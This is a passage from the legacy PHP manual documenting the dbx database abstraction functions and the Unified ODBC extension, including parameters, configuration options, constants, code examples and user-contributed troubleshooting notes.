means that you didn't set the ORACLE_HOME, TNS_ADMIN and ORACLE_BASE variable.
If you are sure it's set as a system variable, you could solve the problem by use:
putenv('ORACLE_HOME=/your/oracle/home/beforebin');
Jon Moss 04-Mar-2005 03:50
I have been using dbx for a product at work and the need to use SQLite as a database popped up. However, I couldn't find any references to using it with dbx other than that you could and since SQLite doesn't seem to do the username password thing I was a little confused as to how to use it in dbx.

With a little research it seems that when using dbx_connect you only need to fill in the module name ('DBX_SQLITE') and the database (the file name for the database!) to get it working. e.g.

$link = dbx_connect(DBX_SQLITE, "", "some.db", "", "");

thought someone might find it useful, especially since it no longer required additional dll's in version 5.x
BDKR at melnabone at mindless dt com 07-Dec-2002 07:18
The advantage that this has over Pear, Adob, and even Eclipse is speed. As some one put elsewhere,

"Yes, there is an advantage: Speed!
ext/dbx is written in C and has to be compiled into PHP. It's just faster then the PEAR classes."

Cheers,
BDKR
davidbullock at tech-center dot com 07-Jan-2002 07:01
Currently to connect to the PostgreSQL backend, you have to supply both a username, and a password or the dbx pgsql module attempts to connect as "nobody".
jeremy at deadbeef dot com 23-Jul-2001 10:54
Pear::DB seems like a better idea than this.  See http://pear.php.net


Report the error message of the latest function call in the module

  • « dbx_connect
  • dbx_escape_string »
  • PHP Manual
  • dbx Functions
  • Report the error message of the latest function call in the module

dbx_error

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_error — Report the error message of the latest function call in the module

Description

string dbx_error ( object $link_identifier )

dbx_error() returns the last error message.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

Return Values

Returns a string containing the error message from the last function call of the abstracted module (e.g. mysql module). If there are multiple connections in the same module, just the last error is given. If there are connections on different modules, the latest error is returned for the module specified by the link_identifier parameter.

Examples

Example #1 dbx_error() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "select id from non_existing_table");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

The error message for Microsoft SQL Server is actually the result of the mssql_get_last_message() function.

The error message for Oracle (oci8) is not implemented yet.

User Contributed Notes

There are no user contributed notes for this page.


Escape a string so it can safely be used in an sql-statement

  • « dbx_error
  • dbx_fetch_row »
  • PHP Manual
  • dbx Functions
  • Escape a string so it can safely be used in an sql-statement

dbx_escape_string

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_escape_string — Escape a string so it can safely be used in an sql-statement

Description

string dbx_escape_string ( object $link_identifier , string $text )

Escape the given string so that it can safely be used in an sql-statement.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

text

The string to escape.

Return Values

Returns the text, escaped where necessary (such as quotes, backslashes etc). On error, NULL is returned.

Examples

Example #1 dbx_escape_string() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$text = dbx_escape_string($link, "It\'s quoted and backslashed (\\).");
$result = dbx_query($link, "insert into tbl (txt) values ('" . $text . "')");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

See Also

  • dbx_query() - Send a query and fetch all results (if any)

User Contributed Notes

There are no user contributed notes for this page.


Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

  • « dbx_escape_string
  • dbx_query »
  • PHP Manual
  • dbx Functions
  • Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

dbx_fetch_row

(PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

Description

mixed dbx_fetch_row ( object $result_identifier )

dbx_fetch_row() fetches rows from a result identifier that had the DBX_RESULT_UNBUFFERED flag set.

When the DBX_RESULT_UNBUFFERED is not set in the query, dbx_fetch_row() will fail as all rows have already been fetched into the results data property.

As a side effect, the rows property of the query-result object is incremented for each successful call to dbx_fetch_row().

Parameters

result_identifier

A result set returned by dbx_query().

Return Values

Returns an object on success that contains the same information as any row would have in the dbx_query() result data property, including columns accessible by index or fieldname when the flags for dbx_query() were set that way.

Upon failure, returns 0 (e.g. when no more rows are available).

Examples

Example #1 How to handle the returned value

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

See Also

  • dbx_query() - Send a query and fetch all results (if any)

User Contributed Notes

ed dot stafford over on gmail 09-Nov-2004 11:03
Use this function ONLY if you are using:
DBX_RESULT_UNBUFFERED

and make sure the database you're using will allow DBX_RESULT_UNBUFFERED as a flag on the connect line.

I spent 2 days trying to figure out WHY I couldn't use the dbx_fetch_row() function.  Too many languages!


Send a query and fetch all results (if any)

  • « dbx_fetch_row
  • dbx_sort »
  • PHP Manual
  • dbx Functions
  • Send a query and fetch all results (if any)

dbx_query

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_query — Send a query and fetch all results (if any)

Description

mixed dbx_query ( object $link_identifier , string $sql_statement [, int $flags ] )

Sends a query and fetch all results.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

sql_statement

SQL statement.

Data inside the query should be properly escaped.

flags

The flags parameter is used to control the amount of information that is returned. It may be any combination of the following constants with the bitwise OR operator (|). The DBX_COLNAMES_* flags override the dbx.colnames_case setting from php.ini.

DBX_RESULT_INDEX
It is always set, that is, the returned object has a data property which is a 2 dimensional array indexed numerically. For example, in the expression data[2][3] 2 stands for the row (or record) number and 3 stands for the column (or field) number. The first row and column are indexed at 0. If DBX_RESULT_ASSOC is also specified, the returning object contains the information related to DBX_RESULT_INFO too, even if it was not specified.
DBX_RESULT_INFO
It provides info about columns, such as field names and field types.
DBX_RESULT_ASSOC
It effects that the field values can be accessed with the respective column names used as keys to the returned object's data property. Associated results are actually references to the numerically indexed data, so modifying data[0][0] causes that data[0]['field_name_for_first_column'] is modified as well.
DBX_RESULT_UNBUFFERED
This flag will not create the data property, and the rows property will initially be 0. Use this flag for large datasets, and use dbx_fetch_row() to retrieve the results row by row. The dbx_fetch_row() function will return rows that are conformant to the flags set with this query. Incidentally, it will also update the rows each time it is called.
DBX_COLNAMES_UNCHANGED
The case of the returned column names will not be changed.
DBX_COLNAMES_UPPERCASE
The case of the returned column names will be changed to uppercase.
DBX_COLNAMES_LOWERCASE
The case of the returned column names will be changed to lowercase.
Note that DBX_RESULT_INDEX is always used, regardless of the actual value of flags parameter. This means that only the following combinations are effective:
  • DBX_RESULT_INDEX
  • DBX_RESULT_INDEX | DBX_RESULT_INFO
  • DBX_RESULT_INDEX | DBX_RESULT_INFO | DBX_RESULT_ASSOC - this is the default, if flags is not specified.

Return Values

dbx_query() returns an object or 1 on success, and 0 on failure. The result object is returned only if the query given in sql_statement produces a result set (i.e. a SELECT query, even if the result set is empty).

The returned object has four or five properties depending on flags:

handle

It is a valid handle for the connected database, and as such it can be used in module specific functions (if required).

<?php
$result = dbx_query($link, "SELECT id FROM table");
mysql_field_len($result->handle, 0);
?>

cols and rows

These contain the number of columns (or fields) and rows (or records) respectively.

<?php
$result = dbx_query($link, 'SELECT id FROM table');
echo $result->rows; // number of records
echo $result->cols; // number of fields
?>

info (optional)
It is returned only if either DBX_RESULT_INFO or DBX_RESULT_ASSOC is specified in the flags parameter. It is a 2 dimensional array, that has two named rows (name and type) to retrieve column information.

Example #1 lists each field's name and type

<?php
$result = dbx_query($link, 'SELECT id FROM table',
                     DBX_RESULT_INDEX | DBX_RESULT_INFO);

for ($i = 0; $i < $result->cols; $i++ ) {
    echo $result->info['name'][$i] . "\n";
    echo $result->info['type'][$i] . "\n";
}
?>
data
This property contains the actual resulting data, possibly associated with column names as well depending on flags. If DBX_RESULT_ASSOC is set, it is possible to use $result->data[2]["field_name"].

Example #2 outputs the content of data property into HTML table

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

echo "<table>\n";
foreach ($result->data as $row) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

Example #3 How to handle UNBUFFERED queries

<?php

$result = dbx_query ($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Changelog

Version | Description
5.0.0 | Introduced DBX_RESULT_UNBUFFERED.
4.3.0 | Introduced DBX_COLNAMES_UNCHANGED, DBX_COLNAMES_UPPERCASE, and DBX_COLNAMES_LOWERCASE.

Examples

Example #4 How to handle the returned value

<?php
$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

if (is_object($result) ) {
    // ... do some stuff here, see detailed examples below ...
    // first, print out field names and types
    // then, draw a table filled with the returned field values
} else {
    exit("Query failed");
}

dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

Column names for queries on an Oracle database are returned in lowercase.

See Also

  • dbx_escape_string() - Escape a string so it can safely be used in an sql-statement
  • dbx_fetch_row() - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
  • dbx_connect() - Open a connection/database

User Contributed Notes

BeyondMat 02-Feb-2005 03:47
You can use stored procedures instead of having to specify a text string to execute, e.g.

$results = dbx_query($conn, 'sp_Test');

This executes the stored procedure sp_Test.


Sort a result from a dbx_query by a custom sort function

  • « dbx_query
  • ODBC »
  • PHP Manual
  • dbx Functions
  • Sort a result from a dbx_query by a custom sort function

dbx_sort

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_sort — Sort a result from a dbx_query by a custom sort function

Description

bool dbx_sort ( object $result , string $user_compare_function )

Sort a result from a dbx_query() call with a custom sort function.

Parameters

result

A result set returned by dbx_query().

user_compare_function

The user-defined comparison function. It must accept two arguments and return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 dbx_sort() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM tbl ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // data in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

Notes

Note:

It is always better to use ORDER BY SQL clause instead of dbx_sort() if possible.

See Also

  • dbx_compare() - Compare two rows for sorting purposes

User Contributed Notes

There are no user contributed notes for this page.


ODBC (Unified)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ODBC Functions
    • odbc_autocommit — Toggle autocommit behaviour
    • odbc_binmode — Handling of binary column data
    • odbc_close_all — Close all ODBC connections
    • odbc_close — Close an ODBC connection
    • odbc_columnprivileges — Lists columns and associated privileges for the given table
    • odbc_columns — Lists the column names in specified tables
    • odbc_commit — Commit an ODBC transaction
    • odbc_connect — Connect to a datasource
    • odbc_cursor — Get cursorname
    • odbc_data_source — Returns information about a current connection
    • odbc_do — Alias of odbc_exec
    • odbc_error — Get the last error code
    • odbc_errormsg — Get the last error message
    • odbc_exec — Prepare and execute an SQL statement
    • odbc_execute — Execute a prepared statement
    • odbc_fetch_array — Fetch a result row as an associative array
    • odbc_fetch_into — Fetch one result row into array
    • odbc_fetch_object — Fetch a result row as an object
    • odbc_fetch_row — Fetch a row
    • odbc_field_len — Get the length (precision) of a field
    • odbc_field_name — Get the columnname
    • odbc_field_num — Return column number
    • odbc_field_precision — Alias of odbc_field_len
    • odbc_field_scale — Get the scale of a field
    • odbc_field_type — Datatype of a field
    • odbc_foreignkeys — Retrieves a list of foreign keys
    • odbc_free_result — Free resources associated with a result
    • odbc_gettypeinfo — Retrieves information about data types supported by the data source
    • odbc_longreadlen — Handling of LONG columns
    • odbc_next_result — Checks if multiple results are available
    • odbc_num_fields — Number of columns in a result
    • odbc_num_rows — Number of rows in a result
    • odbc_pconnect — Open a persistent database connection
    • odbc_prepare — Prepares a statement for execution
    • odbc_primarykeys — Gets the primary keys for a table
    • odbc_procedurecolumns — Retrieve information about parameters to procedures
    • odbc_procedures — Get the list of procedures stored in a specific data source
    • odbc_result_all — Print result as HTML table
    • odbc_result — Get result data
    • odbc_rollback — Rollback a transaction
    • odbc_setoption — Adjust ODBC settings
    • odbc_specialcolumns — Retrieves special columns
    • odbc_statistics — Retrieve statistics about a table
    • odbc_tableprivileges — Lists tables and the privileges associated with each table
    • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

henrique at augusto dot com 28-Mar-2014 08:37
I have problems with php5-recode and php5-odbc. With both packages installed, odbc_execute() hangs up causing Segmentation Fault. I was using a simple script to test that:

<?php
#DSN "mydb" with a user and password "marin"
$connect = odbc_connect("myaccess", "", "");

# query the users table for name and surname
$query = "SELECT * FROM FRT_NAME";

# perform the query
$result = odbc_exec($connect, $query);

# fetch the data from the database
while(odbc_fetch_row($result)){
        $name = odbc_result($result, 2);
        print("$name\n");
}

# close the connection
 odbc_close($connect);
?>

After uninstalling php5-recode, the issue is solved.


Introduction

In addition to normal ODBC support, the Unified ODBC functions in PHP allow you to access several databases that have borrowed the semantics of the ODBC API to implement their own API. Instead of maintaining multiple database drivers that were all nearly identical, these drivers have been unified into a single set of ODBC functions.

The following databases are supported by the Unified ODBC functions: » Adabas D, » IBM DB2, » iODBC, » Solid, and » Sybase SQL Anywhere.

Note:

With the exception of iODBC, there is no ODBC involved when connecting to the above databases. The functions that you use to speak natively to them just happen to share the same names and syntax as the ODBC functions. However, building PHP with iODBC support enables you to use any ODBC-compliant drivers with your PHP applications. More information on iODBC, is available at » www.iodbc.org with the alternative unixODBC available at » www.unixodbc.org.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To access any of the supported databases you need to have the required libraries installed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

--with-adabas[=DIR]

Include Adabas D support. DIR is the Adabas base install directory, defaults to /usr/local.

--with-sapdb[=DIR]

Include SAP DB support. DIR is SAP DB base install directory, defaults to /usr/local.

--with-solid[=DIR]

Include Solid support. DIR is the Solid base install directory, defaults to /usr/local/solid.

--with-ibm-db2[=DIR]

Include IBM DB2 support. DIR is the DB2 base install directory, defaults to /home/db2inst1/sqllib.

--with-empress[=DIR]

Include Empress support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-empress-bcs[=DIR]

Include "Empress Local Access" support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-birdstep[=DIR]

Include Birdstep support. DIR is the Birdstep base install directory, defaults to /usr/local/birdstep.

--with-custom-odbc[=DIR]

Include a user defined ODBC support. The DIR is ODBC install base directory, which defaults to /usr/local. Make sure to define CUSTOM_ODBC_LIBS and have some odbc.h in your include dirs. E.g., you should define following for Sybase SQL Anywhere 5.5.00 on QNX, prior to run configure script:

   CPPFLAGS="-DODBC_QNX -DSQLANY_BUG"
   LDFLAGS=-lunix
   CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

Include iODBC support. DIR is the iODBC base install directory, defaults to /usr/local.

--with-esoob[=DIR]

Include Easysoft OOB support. DIR is the OOB base install directory, defaults to /usr/local/easysoft/oob/client.

--with-unixODBC[=DIR]

Include unixODBC support. DIR is the unixODBC base install directory, defaults to /usr/local.

--with-openlink[=DIR]

Include OpenLink ODBC support. DIR is the OpenLink base install directory, defaults to /usr/local. This is the same as iODBC.

--with-dbmaker[=DIR]

Include DBMaker support. DIR is the DBMaker base install directory, defaults to where the latest version of DBMaker is installed (such as /home/dbmaker/3.6).

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

alvaro at demogracia dot com 24-Jul-2012 04:18
To avoid «[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified»:

- Find the ODBC manager in Windows control panel and check the "Drivers" tab. Please note that 64 bit Windows has two different managers for 32 [1] and 64 bit drivers: drivers must match your PHP installation.

- If the required driver doesn't show up there, you need to install it. The free "Microsoft Access Database Engine 2010 Redistributable" package [2] is one of the possibilities for Access and Excel.

- When connecting with odbc_connect(), make sure you are using the exact driver name in the DRIVER parameter: 'Microsoft Access Driver (*.mdb)' will not work if your driver is called 'Microsoft Access Driver (*.mdb, *.accdb)'.

[1] C:\Windows\SysWOW64\odbcad32.exe
[2] http://www.microsoft.com/en-us/download/details.aspx?id=13255


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Unified ODBC Configuration Options
Name | Default | Changeable | Changelog
odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL | Available as of PHP 5.3.0

Note: Entries marked with * are not implemented yet.

For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

odbc.default_db string

ODBC data source to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_user string

User name to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_pw string

Password to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.allow_persistent boolean

Whether to allow persistent ODBC connections.

odbc.check_persistent boolean

Check that a connection is still valid before reuse.

odbc.max_persistent integer

The maximum number of persistent ODBC connections per process.

odbc.max_links integer

The maximum number of ODBC connections per process, including persistent connections.

odbc.defaultlrl integer

Handling of LONG fields. Specifies the number of bytes returned to variables.

When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used.
odbc.defaultbinmode integer

Handling of binary data.

odbc.default_cursortype integer

Controls the ODBC cursor model. Possible values are SQL_CURSOR_FORWARD_ONLY, SQL_CURSOR_KEYSET_DRIVEN, SQL_CURSOR_DYNAMIC and SQL_CURSOR_STATIC (default).

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines two resource types: an ODBC connection identifier and an ODBC result identifier.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ODBC_TYPE (integer)
ODBC_BINMODE_PASSTHRU (integer)
ODBC_BINMODE_RETURN (integer)
ODBC_BINMODE_CONVERT (integer)
SQL_ODBC_CURSORS (integer)
SQL_CUR_USE_DRIVER (integer)
SQL_CUR_USE_IF_NEEDED (integer)
SQL_CUR_USE_ODBC (integer)
SQL_CONCURRENCY (integer)
SQL_CONCUR_READ_ONLY (integer)
SQL_CONCUR_LOCK (integer)
SQL_CONCUR_ROWVER (integer)
SQL_CONCUR_VALUES (integer)
SQL_CURSOR_TYPE (integer)
SQL_CURSOR_FORWARD_ONLY (integer)
SQL_CURSOR_KEYSET_DRIVEN (integer)
SQL_CURSOR_DYNAMIC (integer)
SQL_CURSOR_STATIC (integer)
SQL_KEYSET_SIZE (integer)
SQL_CHAR (integer)
SQL_VARCHAR (integer)
SQL_LONGVARCHAR (integer)
SQL_DECIMAL (integer)
SQL_NUMERIC (integer)
SQL_BIT (integer)
SQL_TINYINT (integer)
SQL_SMALLINT (integer)
SQL_INTEGER (integer)
SQL_BIGINT (integer)
SQL_REAL (integer)
SQL_FLOAT (integer)
SQL_DOUBLE (integer)
SQL_BINARY (integer)
SQL_VARBINARY (integer)
SQL_LONGVARBINARY (integer)
SQL_DATE (integer)
SQL_TIME (integer)
SQL_TIMESTAMP (integer)
SQL_TYPE_DATE (integer)
SQL_TYPE_TIME (integer)
SQL_TYPE_TIMESTAMP (integer)
SQL_BEST_ROWID (integer)
SQL_ROWVER (integer)
SQL_SCOPE_CURROW (integer)
SQL_SCOPE_TRANSACTION (integer)
SQL_SCOPE_SESSION (integer)
SQL_NO_NULLS (integer)
SQL_NULLABLE (integer)
SQL_INDEX_UNIQUE (integer)
SQL_INDEX_ALL (integer)
SQL_ENSURE (integer)
SQL_QUICK (integer)

User Contributed Notes

There are no user contributed notes for this page.


ODBC Functions

Table of Contents

  • odbc_autocommit — Toggle autocommit behaviour
  • odbc_binmode — Handling of binary column data
  • odbc_close_all — Close all ODBC connections
  • odbc_close — Close an ODBC connection
  • odbc_columnprivileges — Lists columns and associated privileges for the given table
  • odbc_columns — Lists the column names in specified tables
  • odbc_commit — Commit an ODBC transaction
  • odbc_connect — Connect to a datasource
  • odbc_cursor — Get cursorname
  • odbc_data_source — Returns information about a current connection
  • odbc_do — Alias of odbc_exec
  • odbc_error — Get the last error code
  • odbc_errormsg — Get the last error message
  • odbc_exec — Prepare and execute an SQL statement
  • odbc_execute — Execute a prepared statement
  • odbc_fetch_array — Fetch a result row as an associative array
  • odbc_fetch_into — Fetch one result row into array
  • odbc_fetch_object — Fetch a result row as an object
  • odbc_fetch_row — Fetch a row
  • odbc_field_len — Get the length (precision) of a field
  • odbc_field_name — Get the columnname
  • odbc_field_num — Return column number
  • odbc_field_precision — Alias of odbc_field_len
  • odbc_field_scale — Get the scale of a field
  • odbc_field_type — Datatype of a field
  • odbc_foreignkeys — Retrieves a list of foreign keys
  • odbc_free_result — Free resources associated with a result
  • odbc_gettypeinfo — Retrieves information about data types supported by the data source
  • odbc_longreadlen — Handling of LONG columns
  • odbc_next_result — Checks if multiple results are available
  • odbc_num_fields — Number of columns in a result
  • odbc_num_rows — Number of rows in a result
  • odbc_pconnect — Open a persistent database connection
  • odbc_prepare — Prepares a statement for execution
  • odbc_primarykeys — Gets the primary keys for a table
  • odbc_procedurecolumns — Retrieve information about parameters to procedures
  • odbc_procedures — Get the list of procedures stored in a specific data source
  • odbc_result_all — Print result as HTML table
  • odbc_result — Get result data
  • odbc_rollback — Rollback a transaction
  • odbc_setoption — Adjust ODBC settings
  • odbc_specialcolumns — Retrieves special columns
  • odbc_statistics — Retrieve statistics about a table
  • odbc_tableprivileges — Lists tables and the privileges associated with each table
  • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

chaz_meister_rock at yahoo dot com 29-Aug-2007 08:54
Windows 64 Caveats with ODBC

I'm pretty sure PHP only accesses the 32-bit ODBC stuff on Windows 64.  Therefore, you will need to configure your ODBC DSNs via the Data Source Administrator found at:

/WINDOWS/SysWOW64/odbcad32.exe
11-Oct-2006 04:28
I had big performance problems retrieving data form MS SQL Server with odbc only when the query was unsing a join.

I found out, that I had to connect with the cursor-type "SQL_CUR_USE_ODBC" and everything was ok:

$conn = odbc_connect("ShopLive", 'shop', 'xxx', SQL_CUR_USE_ODBC);
sven at ajaxtechforums dot com 28-Feb-2006 12:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com 11-Nov-2005 04:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
    or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw 05-May-2005 08:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
05-May-2005 05:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
denials at gmail dot com 24-Jan-2005 12:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com 28-Feb-2004 12:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de 04-Nov-2003 01:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger


Toggle autocommit behaviour

  • « ODBC Functions
  • odbc_binmode »
  • PHP Manual
  • ODBC Functions
  • Toggle autocommit behaviour

odbc_autocommit

(PHP 4, PHP 5)

odbc_autocommit — Toggle autocommit behaviour

Description

mixed odbc_autocommit ( resource $connection_id [, bool $OnOff = false ] )

Toggles autocommit behaviour.

By default, auto-commit is on for a connection. Disabling auto-commit is equivalent with starting a transaction.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

OnOff

If OnOff is TRUE, auto-commit is enabled, if it is FALSE auto-commit is disabled.

Return Values

Without the OnOff parameter, this function returns auto-commit status for connection_id. Non-zero is returned if auto-commit is on, 0 if it is off, or FALSE if an error occurs.

If OnOff is set, this function returns TRUE on success and FALSE on failure.

See Also

  • odbc_commit() - Commit an ODBC transaction
  • odbc_rollback() - Rollback a transaction

User Contributed Notes

alvaro at demogracia dot com 06-Aug-2008 10:18
If you are using persistent connections (odbc_pconnect rather than odbc_connect) the next script that reuses the connection will inherit your changes to autocommit.
Orgied - info at orgied dot com 06-Apr-2005 08:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
    or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
      odbc_commit($conn);
else
      odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Joe 26-May-2004 06:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog 25-Jun-2003 10:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com 28-Apr-2003 06:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

    $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com 09-Oct-2001 12:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.


Handling of binary column data

  • « odbc_autocommit
  • odbc_close_all »
  • PHP Manual
  • ODBC Functions
  • Handling of binary column data

odbc_binmode

(PHP 4, PHP 5)

odbc_binmode — Handling of binary column data

Description

bool odbc_binmode ( resource $result_id , int $mode )

Enables handling of binary column data. ODBC SQL types affected are BINARY, VARBINARY, and LONGVARBINARY.

When binary SQL data is converted to character C data, each byte (8 bits) of source data is represented as two ASCII characters. These characters are the ASCII character representation of the number in its hexadecimal form. For example, a binary 00000001 is converted to "01" and a binary 11111111 is converted to "FF".

LONGVARBINARY handling
binmode | longreadlen | result
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_RETURN | 0 | passthru
ODBC_BINMODE_CONVERT | 0 | passthru
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_PASSTHRU | >0 | passthru
ODBC_BINMODE_RETURN | >0 | return as is
ODBC_BINMODE_CONVERT | >0 | return as char

If odbc_fetch_into() is used, passthru means that an empty string is returned for these columns.

Parameters

result_id

The result identifier.

If result_id is 0, the settings apply as default for new results.

Note: Default for longreadlen is 4096 and mode defaults to ODBC_BINMODE_RETURN. Handling of binary long columns is also affected by odbc_longreadlen().

mode

Possible values for mode are:

  • ODBC_BINMODE_PASSTHRU: Passthru BINARY data
  • ODBC_BINMODE_RETURN: Return as is
